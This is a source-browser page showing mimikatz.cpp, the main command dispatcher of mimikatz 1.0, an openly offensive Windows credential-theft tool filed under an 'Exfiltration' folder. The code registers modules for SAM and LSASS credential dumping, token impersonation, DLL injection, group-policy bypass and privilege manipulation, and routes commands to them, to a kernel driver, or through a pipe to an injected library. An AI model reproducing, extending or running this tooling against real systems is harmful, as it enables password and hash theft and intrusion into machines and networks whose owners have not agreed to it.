aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
blob: 7265ef92e47cb59de25a721170d0140821fbd860 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mimikatz.h"

bool mimikatz::initLocalModules()
{
	mod_system::getVersion(&mod_system::GLOB_Version);
	mod_mimikatz_sekurlsa::loadLsaSrv();
	mod_cryptoapi::loadRsaEnh();

	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"",			L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto",		L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash",		L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system",		L"Gestion système", mod_mimikatz_system::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process",		L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread",		L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service",		L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege",	L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle",		L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate",	L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine",		L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper",	L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo",		L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump",		L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject",		L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts",			L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers",		L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa",	L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
	mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs",			L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
	return true;
}

mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL)
{
	initLocalModules();
	SetConsoleTitle(MIMIKATZ_FULL);
	(*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
		L"// http://blog.gentilkiwi.com/mimikatz" << endl;

	bool mustContinue = true;
	if(mesArguments)
	{
		for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
		{
			wstring commande = *maCommande;
			(*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
			mustContinue = tryToDispatch(&commande);
		}
	}

	if(mustContinue)
	{
		wstring * monBuffer = new wstring();
		do
		{
			(*outputStream) << endl << MIMIKATZ << L" # " << dec;
			getline(wcin, *monBuffer);
		} while(tryToDispatch(monBuffer));
		delete monBuffer;
	}
	wcout.flush();
}

mimikatz::~mimikatz(void)
{
	mod_cryptoapi::unloadRsaEnh();
	mod_mimikatz_sekurlsa::unloadLsaSrv();
	mod_mimikatz_inject::closeThisCommunicator();
}

bool mimikatz::tryToDispatch(wstring * maLigne)
{
	bool reussite = false;

	if(!(reussite = maLigne->empty()))
	{
		switch(*(maLigne->begin()))
		{
		case L'@':	
		case L'*':	
			reussite = this->doCommandeDistante(maLigne->substr(1));
			break;
		case L'!':
			reussite = this->doCommandeKernel(maLigne->substr(1));
			break;
		default:
			wstring fonction = *maLigne;
			vector<wstring> arguments;

			size_t monIndex = fonction.find(L' ');
			if(monIndex != wstring::npos)
			{
				fonction = fonction.substr(0, monIndex);
				arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
			}
			reussite = doCommandeLocale(&fonction, &arguments);
		}
	}

	return reussite;
}

bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments)
{
	size_t monIndex = fonction->find(L"::");

	wstring module = L"";
	wstring commande = *fonction;

	if(monIndex != wstring::npos)
	{
		module = fonction->substr(0, monIndex);
		commande = fonction->substr(monIndex + 2);
	}

	for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
	{
		if(module == monModule->module)
		{
			for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
			{
				if(commande == maCommande->commandName)
				{
					return maCommande->ptrCommand(arguments);
				}
			}

			if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; 
			else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl; 

			(*outputStream) << endl << L"Description du module : " << monModule->description << endl;
			listCommandes(monModule);

			return true;
		}
	}

	(*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
	listModules();
	return true;
}

bool mimikatz::openKernel()
{
	bool reussite = false;

	if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
	{
		(*outputStream) << L"Ouverture du pilote mimikatz : ";
		Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

		if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
			(*outputStream) << L"OK";
		else
			(*outputStream) << L"CreateFile ; " << mod_system::getWinError();
		(*outputStream) << endl;
	}
	else
	{
		reussite = true;
	}

	return reussite;
}

bool mimikatz::closeKernel()
{
	bool reussite = false;
	if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
	{
		if(CloseHandle(Kmimikatz))
		{
			Kmimikatz = NULL;
			reussite = true;
		}
	}
	return reussite;
}

bool mimikatz::doCommandeKernel(std::wstring &commande)
{
	if(!commande.empty())
	{
		if(openKernel())
		{
			DWORD dwReturn;
			/*
			(*outputStream) << L"DEBUG WriteFile " << endl <<
				L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
			*/
			if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL))
			{
				/*(*outputStream) << L"\tWriten  : " << dwReturn << endl << endl;*/

				DWORD dwBuff = 0x40000;
				DWORD dwRead = 0;
				BYTE * buffer = new BYTE[dwBuff];
				RtlZeroMemory(buffer, dwBuff);

				/*(*outputStream) << L"DEBUG ReadFile " << endl <<
					L"\tBuffSize : " << dwBuff << endl;*/

				if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
				{
					/*(*outputStream) <<
						L"\tReaded   : " << dwRead << endl <<
						endl;
					*/
					wcout /*<< L"BUFF : " << endl*/
						<< reinterpret_cast<wchar_t *>(buffer) << endl;
				}
				else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl;

				delete[] buffer;
			}
			else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl;
		}
		else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz";
	}
	else
	{
		(*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl;
		closeKernel();
	}

	return true;
}

bool mimikatz::doCommandeDistante(std::wstring &commande)
{
	bool commOk = false;

	if(mod_mimikatz_inject::monCommunicator)
	{
		if(!commande.empty())
		{
			if(mod_mimikatz_inject::monCommunicator->isConnected())
			{
				if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
				{
					wstring buffer = L"";
					do
					{
						if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
						{
							(*outputStream) << buffer.substr(1) ;
						}
						else
						{
							(*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl;
							break;
						}
					} while(*(buffer.begin()) == L'#');
				}
				else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl;
			}
		}
		else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl;
	}
	else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl;

	if(!commOk)
		mod_mimikatz_inject::closeThisCommunicator();

	return true;
}

void mimikatz::listModules()
{
	for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
	{
		(*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;	
	}
}

void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule)
{
	for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
	{
		if(maCommande->commandName.front() != L':')
			(*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;	
	}
}